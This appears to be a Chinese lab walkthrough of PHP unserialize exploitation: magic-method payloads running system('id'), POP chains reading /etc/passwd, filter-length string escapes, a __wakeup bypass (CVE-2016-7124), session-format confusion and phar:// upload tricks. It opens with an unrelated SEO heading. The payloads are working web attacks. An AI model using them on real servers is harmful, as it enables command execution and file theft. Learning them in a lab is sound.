網(wǎng)站之間的差異seo技術(shù)是干什么的
-
項目地址:github.com/mcc0624/php_ser_Class
-
推薦使用docker部署:https://hub.docker.com/r/mcc0624/ser/tags
前面講了以下php基礎(chǔ),我們直接從class6開始實驗
class6
訪問頁面,傳一個序列化的字符串,php代碼將其反序列化且調(diào)用對象的displayVar()方法 ? payload: benben=O:4:"test":1:{s:1:"a";s:13:"system("id");";} ? 結(jié)果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class7
__construct(): 類的構(gòu)造函數(shù),當創(chuàng)建類的實例時自動調(diào)用。 __destruct(): 類的析構(gòu)函數(shù),當對象被銷毀時自動調(diào)用。 ? 例題:傳一個序列化字符串,php代碼反序列化為對象,當對象銷毀時調(diào)用__destruct() ? payload: benben=O:4:"User":1:{s:3:"cmd";s:13:"system("id");";} ? 結(jié)果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class8
__sleep(): 執(zhí)行serialize()時,先會調(diào)用這個函數(shù)。 ? 傳一個參數(shù)給對象,對象__sleep()方法調(diào)用system執(zhí)行這個參數(shù),然而php代碼在序列化這個對象時,調(diào)用了__sleep()方法 ? payload: benben=id ? 結(jié)果: uid=33(www-data) gid=33(www-data) groups=33(www-data) N;
__wakeup(): 執(zhí)行unserialize()時,先會調(diào)用這個函數(shù)。 ? 傳一個User 對象序列化后的字符串給參數(shù),php代碼會進行反序列化,觸發(fā)__wakeup(),__wakeup()執(zhí)行系統(tǒng)命令 ? payload: benben=O:4:"User":2:{s:8:"username";s:2:"id";s:8:"nickname";N;} ? 結(jié)果: uid=33(www-data) gid=33(www-data) groups=33(www-data)
class9&class10
__toString(): 類被當作字符串時的回應(yīng)方法。 __invoke(): 以函數(shù)方式調(diào)用對象時的回應(yīng)方法。 __call(): 當調(diào)用對象中不可訪問的方法時調(diào)用 __callStatic(): 以靜態(tài)方式調(diào)用不可訪問方法時調(diào)用。 __get(): 讀取不可訪問屬性的值時調(diào)用(成員屬性不存在) __set(): 設(shè)置不可訪問屬性的值時調(diào)用。(給不存在的成員賦值) __isset(): 當對不可訪問屬性調(diào)用isset()或empty()時調(diào)用。 __unset(): 當對不可訪問屬性調(diào)用unset()時調(diào)用。 __clone(): 當對象被克隆時調(diào)用。
class11
問題:如果遇到private的屬性,在生成序列化的字符串時,如何為其賦值? 操作1:可以先將private修改為public,然后生成序列化的字符串后,在字符串中向這個屬性添加類名和%00 操作2:直接給這個類添加一個構(gòu)造函數(shù),構(gòu)造函數(shù)幫助我們給private屬性賦值,賦完值后打印其序列化后的字符串 ? evil類創(chuàng)建對象作為index類創(chuàng)建的對象的test屬性,然而index對象的test屬性是private,(obj_index->$test = obj_evil) ? payload: O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^ 修改后: O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
<?php
// 這個對應(yīng)操作1
// 將index對象的test屬性修改為public或去掉修飾符
class index {var $test;
}
class evil {var $test2;
}
$obj1 = new evil();
$obj1->test2 = 'system("id");';
$obj2 = new index();
$obj2->test = $obj1;
echo serialize($obj2);
/*
輸出結(jié)果:O:5:"index":1:{s:4:"test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^
修改后:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}^^^^^^^^^^^^^^^^^^^^
*/
?>
<?php
// 這個對應(yīng)操作2 ? ?
class index {private $test;public function __construct(){$this->test = new evil();}
}
class evil {var $test2 = 'system("id");';
}
$obj = new index();
echo serialize($obj);
/*
輸出結(jié)果:O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system("id");";}}
*/
?>
class12
目標:輸出sec中的tostring is here! ? payload: benben=O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";N;}}
<?php
class fast {public $source;public function __wakeup(){echo "wakeup is here!!";echo ?$this->source;}
}
class sec {var $benben;public function __tostring(){echo "tostring is here!!";}
}
?
$obj1 = new sec();
$obj2 = new fast();
$obj2->source = $obj1;
echo serialize($obj2);
?>
class13
1.較為敏感的方法:Modifier類中__invoke能觸發(fā)include($this->var) ? 2.Modifier對象中__invoke()方法能被Test對象__get魔術(shù)方法觸發(fā) ? 3.Test對象__get()魔術(shù)方法能被Show對象中的__toString()方法觸發(fā) ? 4.Show對象中的__toString()方法,能被另一個show對象的__wakeup()方法觸發(fā) ? 5.unserialize觸發(fā)show對象的__wakeup()方法
Show1對象反序列化觸發(fā)wakeup魔術(shù)方法 ---------> Show2對象的__toString()方法--------->Test對象的__get魔術(shù)方法 --------->Modifier對象的__invoke方法--------->include($this->var)
<?php
class Modifier {public $par;
}
?
class Show{public $source;public $str;
}
?
class Test{public $p;
}
?
$obj1_Modifier = new Modifier();
$obj1_Modifier->par = '../../../../../../etc/passwd';
?
$obj1_Test = new Test();
$obj1_Test->p = $obj1_Modifier;
?
$obj1_Show = new Show();
$obj1_Show->str = $obj1_Test;
?
$obj2_Show = new Show();
$obj2_Show->source = $obj1_Show;
?
echo serialize($obj2_Show);
?>
payload: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"par";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^ 修改后: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:28:"../../../../../../etc/passwd";}}}s:3:"str";N;}^^^^^^^^^^^^^^^^^^^^^
class14
對象序列化為字符串,字符串進行了過濾,過濾掉了"system()",導致字符串長度減少,因此字符串進行反序列化會失敗。 那這種情況下,只要給出兩個參數(shù)供攻擊者輸入,那么攻擊者就能夠控制所有屬性(包括這兩個屬性之外的其他屬性) 原理:參數(shù)1被過濾,導致序列化后v1的數(shù)值長度,與v1的實際長度不匹配,且大于實際長度,這時,構(gòu)造參數(shù)2,讓v1的值能一直覆蓋到參數(shù)2來確保v1的數(shù)值長度和實際長度相匹配,然后再一次構(gòu)造參數(shù)2用于構(gòu)造其他屬性,導致整個參數(shù)1和參數(shù)2的前面部分成為數(shù)值部分,而參數(shù)2的后面部分成為功能性代碼
過濾條件: "system()" -> "" 8 -> 0 ? 結(jié)果: O:1:"A":2:{s:2:"v1";s:n:"m個字符";s:2:"v2";s:x:"x個字符";}n = 參數(shù)1的長度,同時是v1的長度 x = 參數(shù)2的長度,不是v2的長度,因為其是屬于v1的值,不是功能性代碼 m = n被過濾后的長度 n = m + 13 + x的位數(shù)(通常是2位)+ 2 + 一個可控長度的字符串 n = m + 17 + 一個可控長度的字符串 n至少比m多17個字符 ? 輸入n對應(yīng)字符串(參數(shù)1): system()system()system() (n=24)(m=0)----->(根據(jù):n = m + 17 + 一個可控長度的字符串,需要長度為7的可控字符串) 輸入x對應(yīng)字符串(參數(shù)2): 1234567";s:2:"v2";s:3:"123";}^^^^^^^^ ? ^^^^^^^^^^^^^^^^^長度為7的可控字符串 ? ? 我們構(gòu)造的名為v2的屬性 結(jié)果: O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";}^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^ ?長度為n=24 可控長度的字符串 ? 過濾后: O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"abc";}";}^^^^^^^^^^^^^^^^^^^^^^^^長度為n=24
v1 = 'system()system()system()'; v2 = '1234567";s:2:"v2";s:3:"123";}'; ? O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:29:"1234567";s:2:"v2";s:3:"123";}";} ? object(A)#1 (2) {["v1"]=>string(27) "";s:2:"v2";s:29:"1234567"["v2"]=>string(3) "123" }
class17(17是14的例題,所以放到前面)
過濾條件: flag -> hk 4 -> 2 php -> hk 3 -> 2 ? O:4:"test":3:{s:4:"user";s:n:"m個字符";s:4:"pass";s:x:"x個字符";s:3:"vip";b:0;} ? n = 參數(shù)1的字符個數(shù) m = n過濾后的字符的個數(shù) x = 參數(shù)2字符個數(shù) n = m + 15 + (x的位數(shù),通常是2位) + 2 + 一個可控長度的字符串 n = m + 19 + 一個可控長度的字符串 ? 所以n至少比m多19個字符 ? 輸入n對應(yīng)字符串(參數(shù)1): flagflagflagflagflagflagflagflagflagflag (n=40)(m=20)---->(需要長度為1的可控字符串) 輸入x對應(yīng)字符串(參數(shù)2): 1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}^^ ? ^^^^^^^^^^^^^^^長度為1的可控字符串 構(gòu)造vip屬性來控制vip屬性的值 O:4:"test":3:{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}";s:3:"vip";b:0;} ? ? object(test)#1 (3) {["user"]=>string(40) "hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:39:"1"["pass"]=>string(3) "123"["vip"]=>bool(true) }
class15
對序列化的字符串添加些字符,導致數(shù)值長度與實際長度不符 原理:通過構(gòu)造第一個參數(shù),使得參數(shù)的前面部分為數(shù)值,而后面部分作為功能性代碼
添加條件: ls -> pwd (2 -> 3) ? O:1:"A":2:{s:2:"v1";s:n:"m個字符";s:2:"v2";s:3:"123";} ? n:參數(shù)1的長度,同時是v1的長度 m:n被添加后的長度 a:要構(gòu)造其他參數(shù)的長度 n = m - a ? 要構(gòu)造的字符串";s:2:"v2";s:3:"123";} a=22 n = m - 22 ? 參數(shù) = lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123;} ? payload: O:1:"A":2:{s:2:"v1";s:66:"lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";} 添加后: O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v2";s:3:"123";}";s:2:"v2";s:3:"123";}
class16
添加條件: php -> hack (3 -> 4) ? O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"daydream";} ? n:參數(shù)1的長度,也是user的長度 m:n被增加后的長度 a:要構(gòu)造的字符串的長度 n = m - a ? 要構(gòu)造的字符串";s:4:"pass";s:8:"escaping";} a = 29 n = m - 29 ? payload: 參數(shù) = phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";} 添加后: O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
class18
__wakeup()魔術(shù)方法繞過(CVE-2016-7124) ? 序列化字符串中表示對象屬性個數(shù)的值大于 真實的屬性個數(shù)時會跳過__wakeup的執(zhí)行 ? 漏洞影響版本: PHP5 < 5.6.25 PHP7 < 7.0.10
payload: O:+6:"secret":2:{s:4:"file";s:25:"../../../../../etc/passwd";}^ ^ 這里繞過正則 ? 這里繞過__wakeup的執(zhí)行
class19
$obj->enter = &$obj->secret; 使用引用,使得$obj對象的enter和secret屬性的值使用的是同一塊內(nèi)存 ? payload: O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
class20
$_SESSION['benben'] = $_GET['ben']; ? 以上條件php會將獲取到的ben值存儲在session會話的benben屬性,php先創(chuàng)建一個以session為名的文件,然后將ben進行序列化存儲到這個文件中,例如: ? 當我們傳遞ben=1234時,存儲的文件里的內(nèi)容如下: benben|s:4:"1234";
另外session屬性存儲進文件時有三種存儲格式,以上演示的是php格式: 1.php格式: 鍵名+豎線+反序列化的屬性 2.php_serialize格式: 反序列化的屬性 3.php_binary格式: 二進制格式存儲 ? 第一種情況已經(jīng)演示了,看第二種情況: $_SESSION['benben'] = $_GET['ben']; $_SESSION['b'] = $_GET['b']; ben=123&b=456時,存儲結(jié)果: a:2:{s:6:"benben";s:3:"123";s:1:"b";s:3:"456";} ? 第三種情況: ACKbenbens:3:"123";SOHbs:3:"456";
漏洞產(chǎn)生條件:session以php_serialize格式存儲屬性,而以php格式讀取屬性 漏洞原理:訪問網(wǎng)頁時,php后臺代碼是通過反序列化session對象來獲取session屬性的值 漏洞影響:我們向session屬性中寫入我們序列化好的對象,訪問時會獲取session并反序列化我們寫的對象 ? 訪問save.php $_SESSION['ben'] = $_GET['a']; 當提交a為如下字符串時 |O:1:"D":1:{s:1:"a";s:13:"system("ls");";} 文件存儲內(nèi)容如下,當以php格式解析并反序列化時 a:1:{s:3:"ben";s:42:"|O:1:"D":1:{s:1:"a";s:13:"system("ls");";} ^^^^^^^^^^^^^^^^^^^^^ 豎線前的內(nèi)容被認作鍵名,豎線后的內(nèi)容被當作屬性,而豎線后的內(nèi)容我們可以構(gòu)造 ? 再訪問vul.php將會執(zhí)行惡意代碼
class21
漏洞:還是上面的漏洞,提交時候用的是php_serialize格式,讀的時候用的php格式 思路:構(gòu)造payload提交(通過class20的save.php提交),使session屬性存儲在文件,然后再次訪問 ? 訪問class20的save.php,payload如下: |O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;} 再次訪問class21的index.php,他會自動獲取session會話,并反序列化session的屬性,我們通過payload將Flag對象寫入session屬性,導致其反序列化 ? ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}
class22
漏洞原理:生成的phar文件中,會將對象壓縮成序列化的字符串,使用phar://協(xié)議加載文件時,會反序列化成為對象 漏洞條件:目標服務(wù)器能訪問以phar://協(xié)議訪問到你構(gòu)造的phar文件 ? 訪問:http://localhost/class22/phar.php,會自動生成一個攜帶Testobj對象的phar文件 訪問:http://localhost/class22/index.php,并傳參:filename=phar://test.phar&a=phpinfo(); 會反序列化phar文件中的Testobj對象
class23
class TestObject {public function __destruct() {include('flag.php');echo $flag;} } ? 對TestObject進行反序列化自動獲取flag,甚至不需要任何屬性
<?php
//構(gòu)造phar文件
highlight_file(__FILE__);
class TestObject
{
}
if (ini_get('phar.readonly') === 'On') {echo "phar.readonly is set to On";
} else {echo "phar.readonly is not set to On";
}
@unlink('test.phar'); ? //刪除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); ?//創(chuàng)建一個phar對象,文件名必須以phar為后綴
$phar->startBuffering(); ?//開始寫文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); ?//寫入stub
$o=new TestObject();
$phar->setMetadata($o);//寫入meta-data
$phar->addFromString("test.txt","test"); ?//添加要壓縮的文件
$phar->stopBuffering();
?>
以上代碼獲取phar文件后 訪問http://localhost/class23/upload.php,上傳圖片,只能上傳圖片,就把后綴phar改為jpg/png 訪問http://localhost/class23/index.php攜帶post參數(shù)file=phar://upload/test.jpg 會自動將test.jpg文件當作phar文件并反序列化,反序列化觸發(fā) __destruct()方法獲取flag